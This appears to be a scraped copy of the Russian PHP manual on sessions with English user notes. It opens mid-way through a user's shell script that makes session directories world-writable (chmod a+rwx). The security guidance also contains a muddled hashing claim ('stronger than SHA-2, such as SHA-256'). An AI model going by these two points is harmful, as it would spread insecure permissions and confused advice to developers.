    echo "Cannot find the PHP.INI file.  Not running.  Sorry."
    exit 2
fi

# The depth of directories to create is $1.  0 means just create the named
# directory.  Directory to start with is $2.
#
# Used recursively, so variables must be "local".

doDir() {
    local dir="$2"
    if [[ -d "$dir" ]]
    then
        echo "Directory '$dir' already exists.  No problem."
    elif [[ -f "$dir" ]]
    then
        echo "FILE '$dir' exists.  Aborting." ; exit 2
    else
        if mkdir "$dir"
        then
            echo "Directory '$dir' created."
        else
            echo "Cannot create directory '$dir'.  Aborting." ; exit 2
        fi
    fi
    chmod a+rwx "$dir"
    if [[ $1 -gt 0 ]]
    then
        local depth=$(( $1 - 1 ))
        for letter in $alphabet
        do    doDir $depth "$dir/$letter"
        done
    fi
    }

echo "Running with savePath='$savePath', dirDepth=$dirDepth, and bitsPerCharacter=$bits."
sleep 3

doDir $dirDepth "$savePath"

exit 0
hassankhodadadeh at NOSPAM dot gmail dot com 20-Mar-2012 05:42
max value for "session.gc_maxlifetime" is 65535. values bigger than this may cause  php session stops working.
AskApache 10-Nov-2010 10:00
This is how I set my session.save_path
session.save_path = "1;/home/askapache/tmp/s"
So to create the folder structure you can use this compatible shell script, if you want to create with 777 permissions change the umask to 0000;
sh -o braceexpand -c "umask 0077;mkdir -p s/{0..9}/{a..z} s/{a..z}/{0..9}"

Then you can create a cronjob to clean the session folder by adding this to your crontab which deletes any session files older than an hour:
@daily find /home/askapache/tmp/s -type f -mmin +60 -exec rm -f {} \; &>/dev/null

That will create sessions in folder like:
 /home/askapache/tmp/s/b/sess_b1aba5q6io4lv01bpc6t52h0ift227j6

I don't think any non-mega site will need to go more than 1 levels deep.  Otherwise you create so many directories that it slows the performance gained by this.
orbill 30-Aug-2010 05:08
apparently the default value for session.use_only_cookies has changed in 5.3.3 from 0 to 1. If you haven't set this in your php.ini or your code to 0 transparent sessions won't work.
Nicholas 26-Aug-2010 11:08
Transient sessions do not appear to be working in 5.3.3

E.g.

<?php
    ini_set("session.use_cookies", 0);
    ini_set("session.use_trans_sid", 1);
    session_start();

    if (isset($_SESSION["foo"])) {
        echo "Foo: " . $_SESSION["foo"];
    } else {
        $_SESSION["foo"] = "Bar";
        echo "<a href=?" . session_name() . "=" . session_id() . ">Begin test</a>";
    }
?>

This works in 5.2.5, but not 5.3.3
Wouter 19-May-2010 03:14
When setting the session.cookie_lifetime directive in a .htaccess use string format like;

php_value session.cookie_lifetime "123456"

and not

php_value session.cookie_lifetime 123456

Using a integer as stated above dit not work in my case (Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g)
mikaelkael at php dot net 28-Jan-2009 12:50
Recently, I needed to change the session save_path in my program under Windows. With an ini_set('session.save_path', '../data/sessions'); (and session.gc_divisor = 1 for test), I always obtain 'Error #8 session_start(): ps_files_cleanup_dir: opendir(../data/sessions) failed: Result too large'.

I corrected this by changing with ini_set('session.save_path', realpath('../data/sessions'));
sony-santos at bol dot com dot br 16-Oct-2008 11:17
In response to 00 at f00n, this very page explains:

"(...) if N is used and greater than 0 then automatic garbage collection will not be performed (...)"

So you can actually use custom save_path with automatic garbage collection, since you don't use the subdirectory option (that N subdirectory levels).
00 at f00n dot com 25-Jun-2008 06:36
After having many problems with garbage collection not clearing my sessions I have resolved it through the following.

First I found this in the php.ini (not something i noticed as i use phpinfo(); to see my hosting ini).

; NOTE: If you are using the subdirectory option for storing session files
;       (see session.save_path above), then garbage collection does *not*
;       happen automatically.  You will need to do your own garbage

; collection through a shell script, cron entry, or some other method. ;       For example, the following script would is the equivalent of
;       setting session.gc_maxlifetime to 1440 (1440 seconds = 24 minutes):
;          cd /path/to/sessions; find -cmin +24 | xargs rm

With this is mind there are options.

1. dont use a custom save_path.
** This means if your isp hasnt defaulted your session temp to something safer than install default or you are using a shared directory for session data then you would be wise to use named sessions to keep your session from being viewable in other people's scripts.  Creating a unique_id name for this is the common method. **

2. use your custom folder but write a garbage collection script.

3. use a custom handler and a database
phpforcharity dot 5 dot pistos at geoshell dot com 24-Jun-2008 06:05
To get session IDs to show up in URIs, and not get stored via cookies, you must not only set session.use_cookies to 0, but also set session.use_trans_sid to 1.  Otherwise, the session ID goes neither in a cookie nor in URIs!


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

SID (string)
Константа, содержащая либо имя сессии и идентификатор в виде "name=ID" либо пустую строку, если идентификатор сессии был установлен в соответствующие cookies сессии. Это тот же идентификатор, что возвращает функция session_id().
PHP_SESSION_DISABLED (int)
Возвращаемое значение функцией session_status() в случае, если сессии отключены.
PHP_SESSION_NONE (int)
Возвращаемое значение функцией session_status() в случае, если сессии включены, но нет созданных сессий.
PHP_SESSION_ACTIVE (int)
Возвращаемое значение функцией session_status() в случае существования сессий.

User Contributed Notes

sarath dot jasrin at gmail dot com 12-Oct-2016 12:05
Check whether session started using Predefined Constants

if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
Anonymous 14-Aug-2016 06:12
SID constant defined dynamically!

var_dump(defined('SID'));  // bool(false) - Not defined...
session_start();
var_dump(defined('SID'));  // bool(true) - Defined now!


Примеры

Содержание

  • Основы использования
  • Передача идентификатора сессии
  • Пользовательские обработчики сессии

User Contributed Notes

There are no user contributed notes for this page.


Основы использования

Сессии являются простым способом хранения информации для отдельных пользователей с уникальным идентификатором сессии. Это может использоваться для сохранения состояния между запросами страниц. Идентификаторы сессий обычно отправляются браузеру через сессионный cookie и используются для получения имеющихся данных сессии. Отсутствие идентификатора сессии или сессионного cookie сообщает PHP о том, что необходимо создать новую сессию и сгенерировать новый идентификатор сессии.

Сессии используют простую технологию. Когда сессия создана, PHP будет либо получать существующую сессию, используя переданный идентификатор (обычно из сессионного cookie) или, если ничего не передавалось, будет создана новая сессия. PHP заполнит суперглобальную переменную $_SESSION сессионной информацией после того, как будет запущена сессия. Когда PHP завершает работу, он автоматически сериализует содержимое суперглобальной переменной $_SESSION и отправит для сохранения, используя сессионный обработчик для записи сессии.

По умолчанию PHP использует внутренний обработчик files для сохранения сессий, который установлен в INI-переменной session.save_handler. Этот обработчик сохраняет данные на сервере в директории, указанной в конфигурационной директиве session.save_path.

Сессии могут запускаться вручную с помощью функции session_start(). Если директива session.auto_start установлена в 1, сессия автоматически запустится, в начале запроса.

Сессия обычно завершает свою работу, когда PHP заканчивает исполнять скрипт, но может быть завершена и вручную с помощью функции session_write_close().

Пример #1 Регистрация переменной с помощью $_SESSION.

<?php
session_start();
if (!isset($_SESSION['count'])) {
$_SESSION['count'] = 0;
} else {
$_SESSION['count']++;
}
?>

Пример #2 Отмена объявления переменной с помощью $_SESSION.

<?php
session_start();
unset($_SESSION['count']);
?>

Предостережение

НЕ ОЧИЩАЙТЕ $_SESSION целиком, используя unset($_SESSION), так как это отключит возможность регистрации сессионных переменных через суперглобальную переменную $_SESSION.

Внимание

Вы не можете использовать ссылки в сессионных переменных, так как не существует реального способа восстановления ссылки к другой переменной.

Замечание:

Сессии, использующие файлы (по умолчанию в PHP), блокируют файл сессии сразу при открытии сессии функцией session_start() или косвенно при указании session.auto_start. После блокировки, ни один другой скрипт не может получить доступ к этому же файлу сессии, пока он не будет закрыт или при завершении скрипта или при вызове функции session_write_close().

Скорее всего это станет проблемой для сайтов, которые активно используют AJAX и делают несколько одновременных запросов. Простейшим путём решить эту проблему будет вызов функции session_write_close() сразу же как только все требуемые изменения в сессии будут сделаны, предпочтительно ближе к началу работы скрипта. Также можно использовать другой механизм сессии, который поддерживает конкурентный доступ.

User Contributed Notes

There are no user contributed notes for this page.


Передача идентификатора сессии

Существуют два метода передачи идентификатора сессии:

  • Cookies
  • Параметр URL

Модуль сессии поддерживает оба метода. Метод с cookies является оптимальным, но он не всегда доступен. Поэтому PHP предоставляет второй способ, который внедряет идентификатор сессии непосредственно в URL.

PHP умеет преобразовывать ссылки прозрачно. Если session.use_trans_sid включена, все относительные URI-адреса будут автоматически содержать идентификатор сессии.

Замечание:

Директива arg_separator.output из php.ini позволяет настраивать разделитель аргументов. Для полной совместимости с XHTML следует указывать &amp;.

В качестве альтернативы вы можете использовать константу SID, которая устанавливается при запуске сессии. Если клиентское ПО не хранит подходящую сессионную cookie, SID имеет вид session_name=session_id. В противном случае содержит пустую строку. Таким образом, вы можете в любом случае внедрять его в URL.

Приведённый ниже пример демонстрирует, как зарегистрировать переменную и как правильно построить ссылку на другую страницу, используя SID.

Пример #1 Подсчёт количества посещений конкретного пользователя

<?php

session_start();

if (empty($_SESSION['count'])) {
$_SESSION['count'] = 1;
} else {
$_SESSION['count']++;
}
?>

<p>
Здравствуйте, посетитель, вы видели эту страницу <?php echo $_SESSION['count']; ?> раз.
</p>

<p>
<a href="nextpage.php?<?php echo htmlspecialchars(SID); ?>">Нажмите
сюда</a>, чтобы продолжить.
</p>

Функция htmlspecialchars() может использоваться для вывода SID с целью предотвращения XSS-атак.

Вывод SID способом, показанном выше, не является обязательным, если опция --enable-trans-sid была использована при компиляции PHP.

Замечание:

Подразумевается, что неотносительные URL-адреса указывают только на внешние сайты и потому SID к ним не добавляется, т.к. это представляло бы угрозу для безопасности, в частности, риск утечки SID другому серверу.

User Contributed Notes

EastWhite at foxmail dot com 14-Jul-2016 04:23
The constant SID would always be '' (an empty string) if directive session.use_trans_sid in php ini file is set to 0.
But set session.use_trans_sid to 1 is not effective if director session.use_only_cookies is 1.
try:
session_start(['use_only_cookies'=>0])
or
session_start(['use_only_cookies'=>0,use_trans_sid=1])
Anonymous 16-Mar-2010 10:23
The first time a page is accessed, PHP doesn't yet know if the browser is accepting cookies or not, so after session_start() is called, SID will be non-empty, and the PHPSESSID gets inserted in all link URLs on that page that are properly using SID.

This has the consequence that if, for example, a search engine bot hits your home page first, all links that it sees on your home page will have the ugly PHPSESSID=... in them.

This appears to be the default behavior. A work-around is to turn on session.use_only_cookies, but then you lose session data for anyone who has their cookies turned off.


Пользовательские обработчики сессии

Для реализации хранилища данных (или любого иного хранилища) следует использовать session_set_save_handler(), чтобы создать набор пользовательских функций хранилища. Обработчики сессий можно создать, используя класс SessionHandlerInterface, или расширить внутренние обработчики PHP, унаследовав класс SessionHandler.

Функции обратного вызова, указанные в session_set_save_handler(), являются методами, вызываемыми PHP в течение жизненного цикла сессии: open, read, write и close и для служебных задач: destroy для удаления сессии и gc для периодической сборки мусора.

Следовательно, в PHP всегда необходимы обработчики, сохраняющие сессии. По умолчанию работает внутренний обработчик 'files', сохраняющий сессии в файлы. Пользовательский обработчик может быть установлен, используя функцию session_set_save_handler(). Альтернативные обработчики для сохранения сессии также доступны в модулях PHP, таких как sqlite, memcache и memcached и могут быть установлены с помощью session.save_handler.

Когда стартует сессия, PHP внутренне вызовет обработчик open с последующим вызовом обработчика read, который должен вернуть закодированную строку - в точности такую, какая передавалась для сохранения. После возвращения обработчиком read закодированной строки, PHP декодирует её и заполнит получившимся массивом суперглобальный массив $_SESSION.

Когда PHP завершает исполнение скрипта (или когда вызвана функция session_write_close()), PHP внутренне закодирует суперглобальный массив $_SESSION, и передаст эти данные с идентификатором сессии функции обратного вызова write. После того, как отработает функция обратного вызова write, PHP внутренне вызовет обработчик функции обратного вызова close.

Когда сессия специально уничтожена, PHP вызовет обработчик destroy с идентификатором сессии.

PHP будет вызывать обработчик функции обратного вызова gc время от времени, чтобы пометить сессии как истёкшие в соответствии с временем жизни сессий. Эта операция удалит все записи из постоянного хранилища, доступ к которым не осуществлялся более чем интервал времени, указанный в параметре $lifetime.

User Contributed Notes

tony at marston-home dot demon dot co dot uk 06-Jun-2018 09:30
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.


Отслеживание прогресса загрузки файлов с помощью сессий

PHP может отслеживать прогресс загрузки отдельных файлов при включённой опции session.upload_progress.enabled. Данная информация не особенно полезна для запроса, непосредственно закачивающего файл, однако, в течение данной загрузки приложение может посылать POST-запросы на отдельную страницу (например, с помощью XHR) для проверки статуса.

Прогресс закачки будет доступен в суперглобальной переменной $_SESSION во время выполнения загрузки, а также при отправке POST-запросом переменной с именем, равным значению опции session.upload_progress.name. Как только PHP обнаружит такой POST-запрос, он создаст массив в $_SESSION, ключом которого будет конкатенация значений опций session.upload_progress.prefix и session.upload_progress.name. Ключ обычно можно получить прочитав эти опции, то есть:

<?php
$key = ini_get("session.upload_progress.prefix") . $_POST[ini_get("session.upload_progress.name")];
var_dump($_SESSION[$key]);
?>

Также возможно отменить загружаемый в данный момент файл, установив ключ $_SESSION[$key]["cancel_upload"] в значение true. При загрузке нескольких файлов за один раз, это действие отменит только текущий загружаемый файл и все следующие за ним, но не удалит уже успешно загруженные к этому времени файлы. Если закачка была отменена этим способом, то элемент с ключом error в массиве $_FILES будет установлен в UPLOAD_ERR_EXTENSION.

Опции session.upload_progress.freq и session.upload_progress.min_freq контролируют частоту обновления информации о прогрессе загрузки. При разумных значениях этих двух настроек, накладные расходы данной функции практически неощутимы.

Пример #1 Пример

Пример структуры массива прогресса загрузки.

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

Данные в сессии будут выглядеть примерно так:

<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // Время начала запроса
"content_length" => 57343257, // Длина содержимого POST
"bytes_processed" => 453489, // Количество полученных и обработанных байт
"done" => false, // true при завершении обработки POST, успешно или нет
"files" => array(
0 => array(
"field_name" => "file1", // Имя поля <input/>
// Следующие 3 элемента аналогичны соответствующим элементам массива $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True, если обработчик POST закончил обработку данного файла
"start_time" => 1234567890, // Время начала обработки этого файла
"bytes_processed" => 57343250, // Число полученных и обработанных байт этого файла
),
// И ещё один файл, загрузка которого ещё не закончена в том же запросе
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);

Внимание

Для успешной работы данной функции необходимо отключить буферизацию запроса веб-сервером. Иначе PHP увидит загрузку файла только когда загрузка полностью завершится. Серверы, такие как например Nginx, буферизуют большие запросы.

Предостережение

Информация о прогрессе загрузки записывается в сессию до того, как будет запущен какой либо скрипт. Поэтому изменение имени сессии с помощью ini_set() или session_name() выдаст сессию без информации о прогрессе загрузки.

User Contributed Notes

alice at librelamp dot com 20-Jul-2016 11:49
There were two gotchas that got me with implementing this.

The first - if you use session_name() to change the name of sessions, this will not work. I discovered this by looking at phpinfo() and seeing that is saw a different session name.

At least in Apache, a better way to set the session is in your apache config use

php_value session.name "your custom name"

It goes within the Directory directive, might work in .htaccess - I don't know.

-=-

Secondly - in apache, don't use mod_mpm_prefork.so

That was the problem I had, that's the default in CentOS 7.

The problem is it causes Apache to wait with any additional requests until the upload is finished.

Commenting that module out and using mod_mpm_worker.so instead fixed that problem, and the progress meter worked.
ricki at rocker dot com 28-Apr-2015 06:36
session.upload_progress updates completely ignore custom session handlers set via  session_set_save_handler()
howtomakeaturn 04-Apr-2015 07:18
ATTENTION:

Put the upload progress session name input field BEFORE your file field in the form :

  <form action="upload.php" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
  <input type="file" name="file1" />
  <input type="file" name="file2" />
  <input type="submit" />
  </form>

If you make it after your file field, you'll waste a lot of time figuring why (just like me ...)

The following form will make you crazy and waste really a lot of time:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="submit" />
</form>

DON'T do this!
StrateGeyti 20-Oct-2014 10:07
It seems like if you send a form with the field like :

<?php echo '<input type="hidden" name="'.ini_get('session.upload_progress.name') .'" value="123" />';  ?>

without any field type "file", the server respons will be an 500 error.
wilsonr at st dot com 03-Oct-2014 07:22
If you have upload progress enabled in your php.ini, and you have

<form enctype="multipart/form-data" ...
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ...

in your form, but you DON'T specify an input with 'type="file"', you may lose your session ID. I am using PHP 5.5 and I lose my session ID on the second loading of such a page. To prevent this, you can use a dummy input as follows:

<form enctype="multipart/form-data" ... >
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ... />
    <input type="file"' name="dummy" style="display="none;" ... />
jortsc at gmail dot com 29-Sep-2013 06:47
Note that if you run that code and you print out the content of $_SESSSION[$key] you get an empty array due that session.upload_progress.cleanup is on by default and it  cleans the progress information as soon as all POST data has been read.

Set it to Off or 0 to see the content of $_SESSION[$key].
Anonymous 12-Jun-2013 03:34
While the example in the documentation is accurate, the description is a bit off. To clarify:

PHP will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and the VALUE of the POSTed session.upload_progress.name variable.
Anonymous 02-May-2013 08:01
dont't forget, that the session has to be initialized before the form is generated, otherwise the mentioned example above won't work.
isius 03-Sep-2012 05:11
If you're seeing
"PHP Warning:  Unknown: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in Unknown on line 0",
then a misplaced input could be the cause. It's worth mentioning again that the hidden element MUST be before the file elements.
nihaopaul at gmail dot com 10-Aug-2012 06:12
it should be noted that the hidden element come before the file element otherwise you wont get any updates.
s.zarges 19-Jun-2012 09:32
Note, this feature doesn't work, when your webserver is runnig PHP via FastCGI. There will be no progress informations in the session array.
Unfortunately PHP gets the data only after the upload is completed and can't show any progress.

I hope this informations helps.
powtac at gmx dot de 02-Mar-2012 08:35
For PHP >= 5.2 there is http://pecl.php.net/package/uploadprogress


Безопасность сессий

Содержание

  • Базовые принципы управления сессиями
  • INI-настройки безопасности сессий

Внешние ссылки: » Атака "Фиксация сессии"

Работа с HTTP-сессиями является основой веб-безопасности. Должны быть применены все возможные меры для обеспечения безопасности сессии. Разработчик должен включать и использовать соответствующие настройки соответствующим образом.

User Contributed Notes

There are no user contributed notes for this page.


Базовые принципы управления сессиями

Безопасность сессии

Модуль сессии не гарантирует, что хранимая сессионная информация доступна только пользователю, который создал сессию. Необходимо принять дополнительные меры по защите конфиденциальности сессии, основываясь на связанных с ней данных.

Оценка важности данных, передаваемых в рамках сессии, важна для выбора мер по защите этой информации; все имеет свою цену и обычно дополнительные меры защиты приводят к ухудшению удобства для конечного пользователя. Например, если необходимо защитить пользователя от простейших методов социальной инженерии, следует включить session.use_only_cookies. В данном случае со стороны пользовательского ПО обязательна поддержка cookie, иначе механизм сессий не будет работать.

Существует несколько способов утечки существующего идентификатора сессии третьим лицам. Например инъекции JavaScript, передача идентификатора сессии в URL, перехват пакетов, физический доступ к устройству и т.д. Перехваченный идентификатор сессии позволит третьим лицам получить доступ ко всем ресурсам, связанным с данной сессией. Во-первых, передача идентификатора сессии в URL. При переходе на внешний сайт идентификатор сессии пользователя и адрес ресурса могут попасть в статистику переходов данного сайта. Во-вторых, при более активной атаке возможно прослушивание сетевого трафика злоумышленником. Если канал передачи данных не зашифрован, идентификаторы сессии будут переданы в виде простого текста. В таком случае решением является обязательное использование SSL/TLS пользователями при доступе к сайту. Для этих целей следует применять HSTS.

Замечание: Даже HTTPS иногда может не защитить конфиденциальные данные. Например, уязвимости типа CRIME, BEAST могут позволить злоумышленнику получить доступ к данным. Многие сети используют прокси HTTPS MITM для аудита. Атакующие также могут настроить такие прокси.

Неадаптивное управление сессиями

В настоящее время PHP использует адаптивное управление сессиями по умолчанию. Адаптивное управление сессиями несёт дополнительные риски.

Если session.use_strict_mode включён и обработчик сохранения сессии это поддерживает, неинициализированный сессионный ID отвергается и создаётся новый. Это защищает от атак, которые принуждают пользователя использовать заранее известный ID. Атакующий может размещать ссылки или отправлять письма, которые содержат сессионный ID. Например http://example.com/page.php?PHPSESSID=123456789 . Если опция session.use_trans_sid включена, то жертва откроет сессию с этим идентификатором. Опция session.use_strict_mode уменьшает этот риск.

Внимание

Определённый пользователем обработчик сохранения также может поддерживать строгий сессионный режим, путём реализации функции/метода проверки корректности идентификатора сессии. Все определённые пользователем обработчики сохранения обязаны его реализовывать.

Cookie с сессионным ID должна устанавливаться с указанием параметров domain, path, httponly, secure и, начиная с PHP 7.3, атрибут SameSite. Их приоритетность определяется браузерами. Опираясь на эту приоритетность, атакующий может установить сессионный ID, который будет использоваться бесконечно. Применение session.use_only_cookies не решает эту проблему. session.use_strict_mode уменьшает риск. session.use_strict_mode=On, не допускает использование неинициализированных сессионных ID.

Замечание: Даже при уменьшении риска с помощью session.use_strict_mode атакующий всё ещё может заставить пользователя использовать уже инициализированную сессию, созданную атакующим. Например JavaScript-инъекция. Эта атака может быть смягчена, если следовать рекомендациям этого руководства. Если вы следуете этому руководству, вы должны включить session.use_strict_mode, использовать управление сессиями на основе временных меток и пересоздавать идентификатор сессии с помощью session_regenerate_id(), как рекомендуется. Если вы всё это сделаете, идентификатор сессии злоумышленника в итоге будет удалён. Если произошёл доступ к истёкшей сессией, вы должны сохранить все данные активных сессий пользователя. Это позволит для дальнейшего расследования причин произошедшего. После этого, принудительно заставьте пользователя выйти из всех активных сессий, то есть потребуйте от пользователей переавторизации. Это позволит предотвратить атаку с использованием краденной сессии.

Внимание

Доступ к истёкшей сессии не всегда означает атаку. Нестабильное сетевое соединение и/или немедленное удаление активной сессии может повлечь за собой подобное поведение.

С PHP 7.1.0 добавлена функция session_create_id(). Эта функция может быть полезна для создания идентификатора сессии с использованием идентификатора пользователя в качестве префикса для достижения большей управляемости. При её использовании крайне важно разрешать session.use_strict_mode. В противном случае недобросовестные пользователи смогут устанавливать поддельные идентификаторы сессий для других пользователей.

Замечание: В версиях PHP до 7.1.0 необходимо использовать CSPRNG, например, /dev/urandom или random_bytes() и функции хеширования для генерации нового идентификатора сессии. session_create_id() имеет встроенная функциональность обнаружения коллизий и генерирует идентификатор основываясь на INI-настройках. Использование session_create_id() является предпочтительной практикой.

Пересоздание идентификатора сессии

Использование session.use_strict_mode - это хорошо, но недостаточно. Разработчик также должен использовать session_regenerate_id() для обеспечения безопасности сессий.

Пересоздание идентификаторов сессий сильно уменьшает риск кражи сессии, соответственно надо на периодической основе запускать session_regenerate_id(). Например, пересоздавать идентификатор сессии каждые 15 минут для особо секретных данных. Даже если сессию украдут, она достаточно скоро станет истёкшей и попытка её использовать приведёт к ошибке истёкшей сессии.

Идентификатор сессии должен пересоздаваться при повышении привилегий пользователя, например при аутентификации. Функция session_regenerate_id() должна вызываться до записи авторизационной информации в $_SESSION. (session_regenerate_id() сохраняет данные текущей сессии автоматически). Убедитесь, что только текущая сессия отмечена как авторизованная.

Разработчики НЕ ДОЛЖНЫ полагаться на механизм истечения срока действия идентификатора сессии с помощью session.gc_maxlifetime. Атакующие могут периодически получать доступ к сессии для предотвращения её срока действия и продолжать использовать идентификатор жертвы, включая аутентифицированные сессии.

Вместо этого, вы должны самостоятельно реализовать управление данными сессии базируясь на временной метке.

Внимание

Несмотря на то, что менеджер сессий может прозрачно управлять временными метками, эта функциональность не реализована. Данные старых сессий сохраняются до момента запуска сборщика мусора. В то же время, разработчики должны убедиться, что данные истёкших сессий удалены. Однако разработчики НЕ должны удалять данные активных сессий немедленно. Например, никогда не вызывайте session_regenerate_id(true); и session_destroy() совместно для активных сессий. Это может показаться противоречивым, но это обязательное требование.

session_regenerate_id() по умолчанию не удаляет старые сессии. Устаревшие авторизованные сессии могут быть доступны для использования. Разработчики должны пресечь любую возможность использования старых сессий кем-либо, запретив доступ к истёкшим сессиям самостоятельно, используя временные метки.

Внимание

Немедленное удаление активных сессий может повлечь нежелательные побочные эффекты. Сессия может прерваться из-за нестабильности сети или конкурентного доступа к сайту/приложению.

Потенциальный недобросовестный доступ будет невозможно отследить и проанализировать, если данные сессий будут немедленно удаляться.

Вместо немедленного удаления старых сессий вы должны сохранять их непродолжительное время, например, установив специальный флаг и время окончательного истечения сессии в $_SESSION, запретив кому-либо обращаться к этим данным.

Вы не должны запрещать доступ к старым сессиям сразу же после вызова session_regenerate_id(). Необходимо подождать несколько секунд для стабильных сетевых соединений и несколько минут для нестабильных, например для WiFi или мобильного интернета.

Если пользователь пытается получить доступ к истёкшей сессии, вы не должны его предоставлять. В этом случае рекомендуется удалять статус "авторизован" со всех активных сессий пользователя, поскольку это очень похоже на атаку.

session.use_only_cookies и правильное использование session_regenerate_id() могут привести к персональной DoS посредством установки неудаляемой cookie. Если такое происходит, то вы можете попросить пользователя удалить cookie и предупредить его о возможных проблемах с безопасностью. Атакующий может устанавливать вредные cookie через уязвимость в веб-приложении (то есть JavaScript-инъекция), уязвимость в браузерном плагине и т.д.

Внимание

Не недооценивайте риск DoS. session.use_strict_mode=On обязателен для общей безопасности идентификаторов сессий! Все сайты должны использовать session.use_strict_mode.

DoS (отказ в обслуживании) может произойти только тогда, когда аккаунт находится под атакой. Наиболее частая предпосылка для него - JavaScript-инъекция.

Удаление данных сессии

Данные истёкших сессий должны быть недоступны и удалены. Существующий механизм управления сессиями делает это не очень хорошо.

Данные истёкших сессий надо удалять так быстро, как только возможно. С другой стороны, данные активных сессий НЕ ДОЛЖНЫ удаляться сразу же. Для обеспечения этих противоречивых требований, вы ДОЛЖНЫ самостоятельно реализовать механизм контроля за истёкшими сессиями на базе временных меток.

Устанавливайте и управляйте временными метками жизни сессии через $_SESSION. Запрещайте доступ к данным истёкших сессий. Если обнаружена попытка доступа к данным устаревшей сессии, снимайте статус авторизации со всех активных сессий пользователя и вынуждайте его переавторизоваться. Доступ к данным истёкшей сессии может означать атаку. Для обеспечения такого поведения вы должны отслеживать все активные сессии пользователя.

Замечание: Доступ к истёкшей сессии может также произойти из-за нестабильного сетевого доступа и/или конкурентного доступа к приложению/сайту. Сервер может попытаться установить новый идентификатор сессии через cookie, но пакет "Set-Cookie" может не дойти до клиента из-за плохой связи. Одно соединение может вызвать пересоздание идентификатора посредством session_regenerate_id(), а другое, в то же время, может не получить нового идентификатора. Следовательно, вы должны запретить доступ к истёкшим сессиям чуть-чуть позже. То есть управление сессиями на базе временных меток является обязательным.

Короче говоря, не уничтожайте данные сессии ни с помощью session_regenerate_id(), ни session_destroy(), а используйте механизм доступа к сессии на базе временных меток. Пусть session_gc() сам удаляет старые сессии из хранилища.

Сессии и блокировки

По умолчанию данные сессии заблокированы, чтобы избежать состояния гонки. Блокировка обязательна для обеспечения консистентности данных сессии между запросами.

Однако блокировка может быть использована атакующим для организации DoS-атаки. Для уменьшения риска DoS с использованием блокировки сессий, минимизируйте их. Используйте блокировку "read only", когда сессию не нужно обновлять. Используйте опцию 'read_and_close' с session_start(). session_start(['read_and_close'=>1]); Закрывайте сессию с помощью session_commit() сразу, как только вы закончили обновлять $_SESSION.

Текущий механизм управления сессиями не следит за изменениями $_SESSION, пока сессия неактивна. Это ваша зона ответственности, следить за тем, чтобы подобного не случалось.

Активные сессии

Разработчики должны следить за активными сессиями каждого пользователя и оповещать его, сколько есть активных сессий, с каких IP (и где географически), как долго они активны и т.д. PHP не сделает этого за вас. Вы должны это делать.

Есть несколько путей реализации. Вы можете хранить всю нужную информацию в специальной базе данных. Так что, когда сессия будет удалена сборщиком мусора, вы должны это отслеживать и соответственно обновлять свою базу данных.

Самый простой способ - использовать идентификатор пользователя в качестве префикса для идентификатора сессии и хранить всю требуемую информацию в $_SESSION. Многие базы данных умеют достаточно быстро выбирать строки по префиксу. Вы можете использовать session_regenerate_id() и session_create_id() для этого.

Внимание

Никогда в качестве префикса не используйте конфиденциальные данные. Если идентификатор пользователя конфиденциален, рассмотрите возможность использовать функцию hash_hmac().

Внимание

Для подобной настройки требуется включение session.use_strict_mode. Убедитесь, что эта опция включена, иначе база данных активных сессий может быть скомпрометирована.

Управление сессиями на базе временных меток является обязательным для определения устаревших сессий. Если обнаружена попытка доступа к устаревшей сессии, необходимо сбросить флаги авторизации для всех активных сессий пользователя.

Сессии и автоматический вход

Разработчики НЕ ДОЛЖНЫ использовать долгоживущие сессии для реализации автоматического входа в систему, потому что это резко повышает вероятность кражи сессии. Автоматический вход в систему должен реализовываться разработчиком самостоятельно.

Устанавливайте безопасные хешированные одноразовые ключи в качестве ключей автологина с помощью setcookie(). Используйте безопасное хеширование, посильнее чем SHA-2, например SHA-256 или выше со случайными данными из random_bytes() или /dev/urandom.

Если пользователь не авторизован, проверьте, корректен ли одноразовый ключ автологина. Если ключ корректен, авторизуйте пользователя и установите ему новый одноразовый ключ. Ключ автологина обязательно должен быть одноразовым, то есть никогда не используйте его повторно, а всегда создавайте новый.

Ключ автологина - это очень долгоживущий ключ авторизации. Его надо защищать по максимуму. Используйте параметры path/httponly/secure/SameSite при установке cookie для его защиты. Никогда не передавайте ключ автологина, кроме случаев, когда это необходимо.

Разработчик должен реализовать функционал, который отключает автоматический вход в систему и удаляет ненужные "cookie", установленные для его реализации.

CSRF (Межсайтовая подделка запроса)

Сессии и авторизация не защищают от атак типа CSRF. Разработчики должны самостоятельно реализовывать защиту.

output_add_rewrite_var() может быть использована для защиты от CSRF. Читайте руководство для подробностей.

Замечание: До PHP 7.2.0 использовался один и тот же буфер вывода и INI-настройки для "trans sid". Так что использование output_add_rewrite_var() с PHP более ранних версий не рекомендуется.

Многие фреймворки поддерживают защиту от CSRF. Обратитесь к документации своего фреймворка для более подробной информации.

Начиная с PHP 7.3, для сессионной cookie можно установить атрибут SameSite. Это обеспечит дополнительную защиту против CSRF.

User Contributed Notes

There are no user contributed notes for this page.


INI-настройки безопасности сессий

